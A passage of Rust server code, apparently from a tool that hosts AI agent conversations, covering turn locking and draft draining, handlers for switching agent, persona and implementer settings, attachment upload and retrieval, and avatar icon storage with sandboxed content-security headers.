7992            let (cfg, _) = Config::discover(&talk.repo, None)?;
7993            Ok((talk, cfg))
7994        })
7995        .await?
7996    };
7997    let view = TalkView::new(talk.clone(), true, &ui.home);
7998    let talks = ui.talks.clone();
7999    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8000    Ok((StatusCode::ACCEPTED, Json(view)))
8001}
8002
8003/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
8004/// releasing `turn` only once a check finds it truly empty. Shared by both
8005/// callers that can end up owning a talk's turn slot with something already
8006/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
8007/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
8008/// holder just gave up - see the comment at that call site.
8009///
8010/// The release is folded into the final generation check under `turn`'s own
8011/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
8012/// free". Before its blocking `talk::drain`, this loop observes the queued
8013/// generation. A `say` that sees the turn busy writes its draft, then advances
8014/// that generation. Thus, if it lands while the drain is in flight, the final
8015/// check observes the advance and drains again; otherwise it releases the
8016/// claim while holding the same lock. This keeps the release/arrival handoff
8017/// atomic without holding the global claim mutex across filesystem I/O.
8018async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8019    drain_loop_started(talk, talks, cfg, id, turn, None).await;
8020}
8021
8022/// A settings response must not report idle while its claim is still held.
8023/// Wait until the first drain either releases the claim or promotes a draft.
8024/// The task owns the guard even if the HTTP handler is cancelled while waiting.
8025async fn settle_settings_turn(
8026    talk: Talk,
8027    talks: Talks,
8028    cfg: Config,
8029    id: String,
8030    turn: TalkTurnGuard,
8031    observed: u64,
8032) -> bool {
8033    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8034        let turns = Arc::clone(&turn.turns);
8035        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8036        if live.queued.get(&id).copied().unwrap_or(0) == observed {
8037            // Release under the arrival lock; a later `/say` takes its own claim.
8038            turn.release(&mut live);
8039            return false;
8040        }
8041    }
8042    let (started, settled) = tokio::sync::oneshot::channel();
8043    tokio::spawn(drain_loop_started(
8044        talk,
8045        talks,
8046        cfg,
8047        id,
8048        turn,
8049        Some(started),
8050    ));
8051    settled.await.unwrap_or(false)
8052}
8053
8054async fn drain_loop_started(
8055    mut talk: Talk,
8056    talks: Talks,
8057    cfg: Config,
8058    id: String,
8059    turn: TalkTurnGuard,
8060    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8061) {
8062    let live_set = Arc::clone(&turn.turns);
8063    // `Option` rather than binding `turn` directly to a `_turn` that lives
8064    // for the whole function: releasing it has to happen by calling
8065    // `TalkTurnGuard::release` from inside the locked branch below, which
8066    // takes `self` by value. Left as a plain drop instead, `Drop` would still
8067    // remove the id - correctly, if this loop is ever left some other way -
8068    // but doing it there misses the lock this loop is already holding, which
8069    // is the exact gap `release` exists to close.
8070    let mut turn = Some(turn);
8071    loop {
8072        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8073            // The lease was taken over while a turn ran. Whatever is queued
8074            // stays a draft; running it here would race the new owner.
8075            tracing::warn!("talk {id} lost its turn lease; not draining further");
8076            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8077            if let Some(turn) = turn.take() {
8078                turn.release(&mut live);
8079            }
8080            break;
8081        }
8082        {
8083            // A parking upgrade starts no further turn: whatever is queued
8084            // stays a durable draft for the successor.
8085            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8086            if live.parking {
8087                if let Some(turn) = turn.take() {
8088                    turn.release(&mut live);
8089                }
8090                break;
8091            }
8092        }
8093        // `talk::drain` takes the store lock and can write/rename the talk
8094        // file. Keep the turn mutex out of that synchronous work: it protects
8095        // every talk's in-memory claim, not this talk's disk operation.
8096        let observed = live_set
8097            .lock()
8098            .unwrap_or_else(PoisonError::into_inner)
8099            .queued
8100            .get(&id)
8101            .copied()
8102            .unwrap_or(0);
8103        let drained = blocking({
8104            let talks = talks.clone();
8105            let live_set = Arc::clone(&live_set);
8106            move || {
8107                // Promoting a draft is what starts a turn, so it is decided
8108                // under the same lock a parking upgrade takes: either the
8109                // promotion lands first (and its turn is waited for) or the
8110                // draft stays queued.
8111                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8112                let result = if live.parking {
8113                    Ok(None)
8114                } else {
8115                    talk::drain(&mut talk, &talks)
8116                };
8117                drop(live);
8118                Ok((talk, result))
8119            }
8120        })
8121        .await;
8122        let (next_talk, result) = match drained {
8123            Ok(drained) => drained,
8124            Err(e) => {
8125                tracing::warn!(
8126                    status = %e.status,
8127                    message = %e.message,
8128                    "talk {id} could not start queued-text drain"
8129                );
8130                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8131                turn.take()
8132                    .expect("held for the whole loop until released here")
8133                    .release(&mut live);
8134                break;
8135            }
8136        };
8137        talk = next_talk;
8138        let drained = match result {
8139            Ok(Some(drained)) => drained,
8140            Ok(None) => {
8141                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8142                if live.queued.get(&id).copied().unwrap_or(0) != observed {
8143                    continue;
8144                }
8145                turn.take()
8146                    .expect("held for the whole loop until released here")
8147                    .release(&mut live);
8148                break;
8149            }
8150            Err(e) => {
8151                tracing::warn!("talk {id} could not drain queued text: {e:#}");
8152                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8153                turn.take()
8154                    .expect("held for the whole loop until released here")
8155                    .release(&mut live);
8156                break;
8157            }
8158        };
8159        if let Some(started) = started.take() {
8160            let _ = started.send(true);
8161        }
8162        let responded = match turn.as_ref() {
8163            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
8164            None => Err(anyhow::anyhow!("the turn guard was released")),
8165        };
8166        if let Err(e) = responded {
8167            tracing::warn!("talk {id} turn failed: {e:#}");
8168        }
8169    }
8170    drop(turn);
8171    if let Some(started) = started {
8172        let _ = started.send(false);
8173    }
8174}
8175
8176/// Clear a queued draft only if it remains exactly the one the caller saw.
8177async fn talk_pending_clear(
8178    State(ui): State<Arc<Ui>>,
8179    Path(id): Path<String>,
8180    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
8181) -> ApiResult<Json<TalkView>> {
8182    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8183    blocking(move || {
8184        let id = resolve_talk(&ui.talks, &id)?;
8185        let mut talk = ui.talks.get(&id)?;
8186        if !talk.status.open() {
8187            return Err(ApiError::conflict(format!(
8188                "talk {} is {} and takes no more turns",
8189                talk.short(),
8190                talk.status.as_str()
8191            )));
8192        }
8193        if !talk::clear_pending_if_matches(
8194            &mut talk,
8195            &ui.talks,
8196            &body.expected_text,
8197            &body.expected_attachments,
8198        )? {
8199            return Err(ApiError::conflict(
8200                "queued message changed; reload it before clearing",
8201            ));
8202        }
8203        let thinking = ui.is_thinking(&talk.id);
8204        Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8205    })
8206    .await
8207}
8208
8209/// Atomically edit a queued draft's text while preserving its attachments.
8210/// The snapshot fields make a concurrent queue or drain a conflict rather
8211/// than silently discarding either message.
8212async fn talk_pending_edit(
8213    State(ui): State<Arc<Ui>>,
8214    Path(id): Path<String>,
8215    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
8216) -> ApiResult<Json<TalkView>> {
8217    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8218    let (view, reclaimed) = blocking({
8219        let ui = Arc::clone(&ui);
8220        move || {
8221            let id = resolve_talk(&ui.talks, &id)?;
8222            let mut talk = ui.talks.get(&id)?;
8223            if !talk.status.open() {
8224                return Err(ApiError::conflict(format!(
8225                    "talk {} is {} and takes no more turns",
8226                    talk.short(),
8227                    talk.status.as_str()
8228                )));
8229            }
8230            if !talk::edit_pending_message(
8231                &mut talk,
8232                &ui.talks,
8233                &body.text,
8234                &body.expected_text,
8235                &body.expected_attachments,
8236                body.message,
8237            )? {
8238                return Err(ApiError::conflict(
8239                    "queued message changed; reload it before editing",
8240                ));
8241            }
8242            let claim = match ui.begin_queued_talk_turn(&id)? {
8243                Some(turn_guard) => {
8244                    let (cfg, _) = Config::discover(&talk.repo, None)?;
8245                    Some((talk.clone(), cfg, id.clone(), turn_guard))
8246                }
8247                None => None,
8248            };
8249            let thinking = ui.is_thinking(&id);
8250            Ok((TalkView::new(talk, thinking, &ui.home), claim))
8251        }
8252    })
8253    .await?;
8254    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
8255        let talks = ui.talks.clone();
8256        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8257    }
8258    Ok(Json(view))
8259}
8260
8261/// The 409 for a talk that takes no more turns.
8262fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
8263    if talk.status.open() {
8264        return Ok(());
8265    }
8266    Err(ApiError::conflict(format!(
8267        "talk {} is {} and takes no more turns",
8268        talk.short(),
8269        talk.status.as_str()
8270    )))
8271}
8272
8273/// The body of `POST /api/talks/{id}/agent`.
8274#[derive(Debug, Deserialize)]
8275struct TalkAgent {
8276    agent: String,
8277}
8278
8279/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
8280/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
8281/// start a turn on the old session between the check and the write; one that
8282/// arrives in that window finds the talk busy and becomes a draft.
8283async fn talk_agent(
8284    State(ui): State<Arc<Ui>>,
8285    Path(id): Path<String>,
8286    Json(body): Json<TalkAgent>,
8287) -> ApiResult<Json<TalkView>> {
8288    let id = {
8289        let ui = Arc::clone(&ui);
8290        blocking(move || resolve_talk(&ui.talks, &id)).await?
8291    };
8292    let repo = {
8293        let ui = Arc::clone(&ui);
8294        let id = id.clone();
8295        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8296    };
8297    let cfg = config_for(&repo).await?;
8298    // Refuse before taking the claim; see `talk_implementers`.
8299    {
8300        let ui = Arc::clone(&ui);
8301        let id = id.clone();
8302        let cfg = cfg.clone();
8303        let wanted = body.agent.clone();
8304        blocking(move || {
8305            agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
8306                .map_err(ApiError::bad_request_from)?;
8307            refuse_if_closed(&ui.talks.get(&id)?)
8308        })
8309        .await?;
8310    }
8311    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8312        return Err(ApiError::conflict(
8313            "a talk turn is running; change the agent once it has answered",
8314        ));
8315    };
8316    let switched = {
8317        let ui = Arc::clone(&ui);
8318        let id = id.clone();
8319        let cfg = cfg.clone();
8320        blocking(move || {
8321            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
8322                .map_err(ApiError::bad_request_from)?;
8323            let mut talk = ui.talks.get(&id)?;
8324            if !talk.status.open() {
8325                return Err(ApiError::conflict(format!(
8326                    "talk {} is {} and takes no more turns",
8327                    talk.short(),
8328                    talk.status.as_str()
8329                )));
8330            }
8331            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
8332            Ok(talk)
8333        })
8334        .await
8335    };
8336    // A `/say` that landed while this held the claim saw the talk busy and
8337    // left a durable draft, trusting the claim's owner to drain it. So the
8338    // claim is settled whatever the outcome. Release an empty draft's claim
8339    // before replying; queued drafts continue independently of the handler.
8340    let observed = ui.queued_generation(&id);
8341    let fresh = {
8342        let ui = Arc::clone(&ui);
8343        let id = id.clone();
8344        blocking(move || Ok(ui.talks.get(&id)?)).await
8345    };
8346    let draining = match fresh {
8347        Ok(talk) => {
8348            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8349        }
8350        Err(_) => false,
8351    };
8352    let talk = switched?;
8353    Ok(Json(TalkView::new(talk, draining, &ui.home)))
8354}
8355
8356/// The body of `POST /api/talks/{id}/persona`.
8357#[derive(Debug, Deserialize)]
8358struct TalkPersona {
8359    persona: String,
8360}
8361
8362/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
8363/// like [`talk_agent`]: the turn guard is held for the change and always handed
8364/// to `drain_loop`, so a draft left meanwhile is not stranded.
8365async fn talk_persona(
8366    State(ui): State<Arc<Ui>>,
8367    Path(id): Path<String>,
8368    Json(body): Json<TalkPersona>,
8369) -> ApiResult<Json<TalkView>> {
8370    let id = {
8371        let ui = Arc::clone(&ui);
8372        blocking(move || resolve_talk(&ui.talks, &id)).await?
8373    };
8374    let repo = {
8375        let ui = Arc::clone(&ui);
8376        let id = id.clone();
8377        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8378    };
8379    let cfg = config_for(&repo).await?;
8380    // Refuse before taking the claim; see `talk_implementers`.
8381    {
8382        let ui = Arc::clone(&ui);
8383        let id = id.clone();
8384        let cfg = cfg.clone();
8385        let wanted = body.persona.clone();
8386        blocking(move || {
8387            if persona::find(&cfg.talk.personas, &wanted).is_none() {
8388                return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8389            }
8390            refuse_if_closed(&ui.talks.get(&id)?)
8391        })
8392        .await?;
8393    }
8394    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8395        return Err(ApiError::conflict(
8396            "a talk turn is running; change the persona once it has answered",
8397        ));
8398    };
8399    let switched = {
8400        let ui = Arc::clone(&ui);
8401        let id = id.clone();
8402        let cfg = cfg.clone();
8403        blocking(move || {
8404            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8405                return Err(ApiError::bad_request(format!(
8406                    "unknown persona `{}`",
8407                    body.persona
8408                )));
8409            };
8410            let mut talk = ui.talks.get(&id)?;
8411            if !talk.status.open() {
8412                return Err(ApiError::conflict(format!(
8413                    "talk {} is {} and takes no more turns",
8414                    talk.short(),
8415                    talk.status.as_str()
8416                )));
8417            }
8418            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8419            Ok(talk)
8420        })
8421        .await
8422    };
8423    // As in `talk_agent`: settle the claim before replying, even on refusal.
8424    let observed = ui.queued_generation(&id);
8425    let fresh = {
8426        let ui = Arc::clone(&ui);
8427        let id = id.clone();
8428        blocking(move || Ok(ui.talks.get(&id)?)).await
8429    };
8430    let draining = match fresh {
8431        Ok(talk) => {
8432            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8433        }
8434        Err(_) => false,
8435    };
8436    let talk = switched?;
8437    Ok(Json(TalkView::new(talk, draining, &ui.home)))
8438}
8439
8440/// The body of `POST /api/talks/{id}/implementers`.
8441#[derive(Debug, Deserialize)]
8442struct TalkImplementers {
8443    implementers: u8,
8444}
8445
8446/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
8447/// like [`talk_agent`]: the turn guard is held for the change and always handed
8448/// to `drain_loop`, so a draft left meanwhile is not stranded.
8449async fn talk_implementers(
8450    State(ui): State<Arc<Ui>>,
8451    Path(id): Path<String>,
8452    Json(body): Json<TalkImplementers>,
8453) -> ApiResult<Json<TalkView>> {
8454    let id = {
8455        let ui = Arc::clone(&ui);
8456        blocking(move || resolve_talk(&ui.talks, &id)).await?
8457    };
8458    let repo = {
8459        let ui = Arc::clone(&ui);
8460        let id = id.clone();
8461        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8462    };
8463    let cfg = config_for(&repo).await?;
8464    // Refuse a request that cannot succeed before taking the claim: a claim
8465    // taken for it is handed to `drain_loop`, which holds the talk busy for a
8466    // moment, so a refusal would make the next request see "busy" instead of
8467    // its own answer. The checks after the claim stay the ones that decide.
8468    {
8469        let ui = Arc::clone(&ui);
8470        let id = id.clone();
8471        let cfg = cfg.clone();
8472        let wanted = body.implementers;
8473        blocking(move || {
8474            talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8475            refuse_if_closed(&ui.talks.get(&id)?)
8476        })
8477        .await?;
8478    }
8479    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8480        return Err(ApiError::conflict(
8481            "a talk turn is running; change the implementers once it has answered",
8482        ));
8483    };
8484    let switched = {
8485        let ui = Arc::clone(&ui);
8486        let id = id.clone();
8487        let cfg = cfg.clone();
8488        blocking(move || {
8489            let chosen =
8490                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8491            let mut talk = ui.talks.get(&id)?;
8492            if !talk.status.open() {
8493                return Err(ApiError::conflict(format!(
8494                    "talk {} is {} and takes no more turns",
8495                    talk.short(),
8496                    talk.status.as_str()
8497                )));
8498            }
8499            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8500            Ok(talk)
8501        })
8502        .await
8503    };
8504    // As in `talk_agent`: settle the claim before replying, even on refusal.
8505    let observed = ui.queued_generation(&id);
8506    let fresh = {
8507        let ui = Arc::clone(&ui);
8508        let id = id.clone();
8509        blocking(move || Ok(ui.talks.get(&id)?)).await
8510    };
8511    let draining = match fresh {
8512        Ok(talk) => {
8513            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8514        }
8515        Err(_) => false,
8516    };
8517    let talk = switched?;
8518    Ok(Json(TalkView::new(talk, draining, &ui.home)))
8519}
8520
8521/// `POST /api/talks/{id}/close`.
8522async fn talk_close(
8523    State(ui): State<Arc<Ui>>,
8524    Path(id): Path<String>,
8525) -> ApiResult<Json<TalkView>> {
8526    blocking(move || {
8527        let id = resolve_talk(&ui.talks, &id)?;
8528        let mut talk = ui.talks.get(&id)?;
8529        talk::close(&mut talk, &ui.talks)?;
8530        let thinking = ui.is_thinking(&talk.id);
8531        Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8532    })
8533    .await
8534}
8535
8536/// `POST /api/talks/{id}/reopen`.
8537async fn talk_reopen(
8538    State(ui): State<Arc<Ui>>,
8539    Path(id): Path<String>,
8540) -> ApiResult<Json<TalkView>> {
8541    blocking(move || {
8542        let id = resolve_talk(&ui.talks, &id)?;
8543        let mut talk = ui.talks.get(&id)?;
8544        talk::reopen(&mut talk, &ui.talks)?;
8545        let thinking = ui.is_thinking(&talk.id);
8546        Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8547    })
8548    .await
8549}
8550
8551/// `DELETE /api/talks/{id}`.
8552///
8553/// Removes the conversation's record and artifacts outright, unlike
8554/// [`talk_close`] which keeps the record as history. A turn already in
8555/// flight is not refused here the way [`run_delete`] refuses a live run:
8556/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
8557/// under [`Talks::guard`], that the record they are about to write back is
8558/// still there, so a delete racing a turn is safe without this route having
8559/// to know a turn is running at all.
8560async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8561    blocking(move || {
8562        let id = resolve_talk(&ui.talks, &id)?;
8563        ui.talks.remove(&id)?;
8564        Ok(StatusCode::NO_CONTENT)
8565    })
8566    .await
8567}
8568
8569/// Expand an id or short id to exactly one talk id.
8570fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8571    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8572}
8573
8574/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
8575/// future `talk-say`.
8576async fn talk_attachment_post(
8577    State(ui): State<Arc<Ui>>,
8578    Path(id): Path<String>,
8579    headers: HeaderMap,
8580    body: Bytes,
8581) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8582    let mime = validate_attachment(&headers, &body)?;
8583    let name = filename_header(&headers);
8584    let data = body.to_vec();
8585    blocking(move || {
8586        let id = resolve_talk(&ui.talks, &id)?;
8587        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8588        Ok((StatusCode::CREATED, Json(att)))
8589    })
8590    .await
8591}
8592
8593/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
8594/// `<img>` tag in the transcript.
8595async fn talk_attachment_get(
8596    State(ui): State<Arc<Ui>>,
8597    Path((id, att)): Path<(String, String)>,
8598) -> ApiResult<Response> {
8599    blocking(move || {
8600        let id = resolve_talk(&ui.talks, &id)?;
8601        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8602            return Err(ApiError::not_found(format!(
8603                "talk {id} has no attachment `{att}`"
8604            )));
8605        };
8606        Ok(attachment_response(&meta.mime, data))
8607    })
8608    .await
8609}
8610
8611/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
8612/// the icon setting, so changing it changes the URL.
8613fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
8614    let id = avatar_encode(&p.id);
8615    format!(
8616        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8617        persona_icon::fingerprint(
8618            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
8619        )
8620    )
8621}
8622
8623#[derive(Debug, Default, Deserialize)]
8624struct AvatarQuery {
8625    persona: Option<String>,
8626    /// Set by the page after the first load failed: skip the `icon`.
8627    builtin: Option<String>,
8628}
8629
8630/// Served with every built-in avatar: it is an image, so nothing else may run.
8631const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8632
8633fn builtin_avatar(id: &str) -> Response {
8634    svg_avatar(persona_icon::builtin_svg(id))
8635}
8636
8637async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8638    raster_or_builtin(
8639        read_icon_file(&avatar_setting_path(&ui.home, None))
8640            .filter(|_| q.builtin.is_none())
8641            .as_deref(),
8642        persona_icon::operator_svg(),
8643    )
8644}
8645
8646fn svg_avatar(svg: &'static str) -> Response {
8647    (
8648        [
8649            (header::CONTENT_TYPE, "image/svg+xml"),
8650            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8651            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8652            (header::CACHE_CONTROL, "no-cache"),
8653        ],
8654        svg,
8655    )
8656        .into_response()
8657}
8658
8659fn avatar_encode(value: &str) -> String {
8660    value
8661        .bytes()
8662        .map(|b| {
8663            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8664                char::from(b).to_string()
8665            } else {
8666                format!("%{b:02X}")
8667            }
8668        })
8669        .collect()
8670}
8671
8672// Display-only overrides live outside configuration and conversation records.
8673fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
8674    let Some(id) = persona else {
8675        return home.join("avatars/operator.data");
8676    };
8677    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
8678    let mut path = home.join("avatars/personas");
8679    for chunk in encoded.as_bytes().chunks(100) {
8680        path.push(std::str::from_utf8(chunk).expect("hex"));
8681    }
8682    path.join("icon.data")
8683}
8684
8685fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
8686    match read_icon_file(&avatar_setting_path(home, Some(id))) {
8687        Some(value) if value == "builtin" => Some(String::new()),
8688        Some(value) => Some(value),
8689        None => configured.map(str::to_owned),
8690    }
8691}
8692
8693fn operator_icon_url(home: &FsPath) -> String {
8694    format!(
8695        "/avatars/operator.svg?v={}",
8696        persona_icon::fingerprint(
8697            read_icon_file(&avatar_setting_path(home, None))
8698                .as_deref()
8699                .or(Some(persona_icon::operator_svg()))
8700        )
8701    )
8702}
8703
8704fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
8705    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
8706        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8707            attachment_response(mime, bytes)
8708        }
8709        _ => svg_avatar(builtin),
8710    };
8711    response
8712        .headers_mut()
8713        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8714    response
8715}
8716
8717#[derive(Default, Deserialize)]
8718struct AvatarSettingsQuery {
8719    repo: Option<PathBuf>,
8720    persona: Option<String>,
8721    builtin: Option<String>,
8722    inherit: Option<String>,
8723}
8724
8725fn avatar_settings_specs(
8726    ui: &Ui,
8727    repo: Option<PathBuf>,
8728) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
8729    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
8730    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
8731        .map(|cfg| cfg.talk.personas)
8732        .unwrap_or_default();
8733    Ok((repo, specs))
8734}
8735
8736fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
8737    let Ok(entries) = std::fs::read_dir(path) else {
8738        return;
8739    };
8740    for entry in entries.flatten() {
8741        let name = entry.file_name().to_string_lossy().into_owned();
8742        if name == "icon.data" {
8743            let bytes: Option<Vec<u8>> = prefix
8744                .as_bytes()
8745                .chunks(2)
8746                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
8747                .collect();
8748            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
8749                out.push(id);
8750            }
8751        } else if name.len() <= 100
8752            && !name.is_empty()
8753            && name.bytes().all(|b| b.is_ascii_hexdigit())
8754            && entry.file_type().is_ok_and(|t| t.is_dir())
8755        {
8756            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
8757        }
8758    }
8759}
8760
8761async fn avatar_settings_get(
8762    State(ui): State<Arc<Ui>>,
8763    Query(q): Query<AvatarSettingsQuery>,
8764) -> ApiResult<Json<serde_json::Value>> {
8765    blocking(move || {
8766        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
8767        let mut catalog = persona::catalog(&specs);
8768        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
8769        let mut saved = Vec::new();
8770        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
8771        for id in saved {
8772            if !catalog.iter().any(|p| p.id == id) {
8773                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
8774            }
8775        }
8776        let personas: Vec<_> = catalog.iter().map(|p| {
8777            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
8778            let override_state = match saved.as_deref() {
8779                Some("builtin") => "builtin",
8780                Some(_) => "custom",
8781                None => "inherit",
8782            };
8783            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
8784            serde_json::json!({"id":p.id,"name":p.name,
8785                "override_state":override_state,"has_config_icon":p.icon.is_some(),
8786                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
8787                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
8788        }).collect();
8789        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
8790    }).await
8791}
8792
8793async fn settings_persona_avatar(
8794    State(ui): State<Arc<Ui>>,
8795    Query(q): Query<AvatarSettingsQuery>,
8796) -> ApiResult<Response> {
8797    blocking(move || {
8798        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
8799        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
8800        let found = persona::find(&specs, id);
8801        let icon =
8802            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
8803        Ok(raster_or_builtin(
8804            icon.as_deref().filter(|_| q.builtin.is_none()),
8805            persona_icon::builtin_svg(id),
8806        ))
8807    })
8808    .await
8809}
8810
8811fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
8812    if q.persona
8813        .as_ref()
8814        .is_some_and(|p| p.is_empty() || p.len() > 4096)
8815    {
8816        return Err(ApiError::bad_request("invalid persona id"));
8817    }
8818    Ok(())
8819}
8820
8821async fn avatar_settings_put(
8822    State(ui): State<Arc<Ui>>,
8823    Query(q): Query<AvatarSettingsQuery>,
8824    Json(upload): Json<MagiIconUpload>,
8825) -> ApiResult<Json<serde_json::Value>> {
8826    blocking(move || {
8827        validate_avatar_target(&q)?;
8828        save_icon_file(
8829            &avatar_setting_path(&ui.home, q.persona.as_deref()),
8830            &upload.icon,
8831        )
8832        .map_err(ApiError::bad_request_from)?;
8833        Ok(Json(serde_json::json!({"saved":true})))
8834    })
8835    .await
8836}
8837
8838async fn avatar_settings_delete(
8839    State(ui): State<Arc<Ui>>,
8840    Query(q): Query<AvatarSettingsQuery>,
8841) -> ApiResult<Json<serde_json::Value>> {
8842    blocking(move || {
8843        validate_avatar_target(&q)?;
8844        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
8845        if q.persona.is_some() && q.inherit.is_none() {
8846            atomic_icon_write(&path, "builtin")?;
8847        } else {
8848            match std::fs::remove_file(path) {
8849                Ok(()) => (),
8850                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8851                Err(e) => return Err(anyhow::Error::from(e).into()),
8852            }
8853        }
8854        Ok(Json(serde_json::json!({"saved":true})))
8855    })
8856    .await
8857}
8858
8859// The global MAGI icon is deliberately independent of repository configuration.
8860fn magi_icon_path(home: &FsPath) -> PathBuf {
8861    home.join("magi-icon.data")
8862}
8863
8864fn read_magi_icon(home: &FsPath) -> Option<String> {
8865    read_icon_file(&magi_icon_path(home))
8866}
8867
8868fn read_icon_file(path: &FsPath) -> Option<String> {
8869    let metadata = std::fs::metadata(path).ok()?;
8870    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8871        return None;
8872    }
8873    let file = std::fs::File::open(path).ok()?;
8874    use std::io::Read;
8875    let mut text = String::new();
8876    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8877        .read_to_string(&mut text)
8878        .ok()?;
8879    if text.len() > persona_icon::ICON_MAX_BYTES {
8880        return None;
8881    }
8882    if text == "builtin" {
8883        return Some(text);
8884    }
8885    validate_uploaded_icon(&text).ok()?;
8886    Some(text)
8887}
8888
8889fn magi_icon_url(home: &FsPath) -> String {
8890    format!(
8891        "/avatars/magi?v={}",
8892        persona_icon::fingerprint(read_magi_icon(home).as_deref())
8893    )
8894}
8895
8896async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
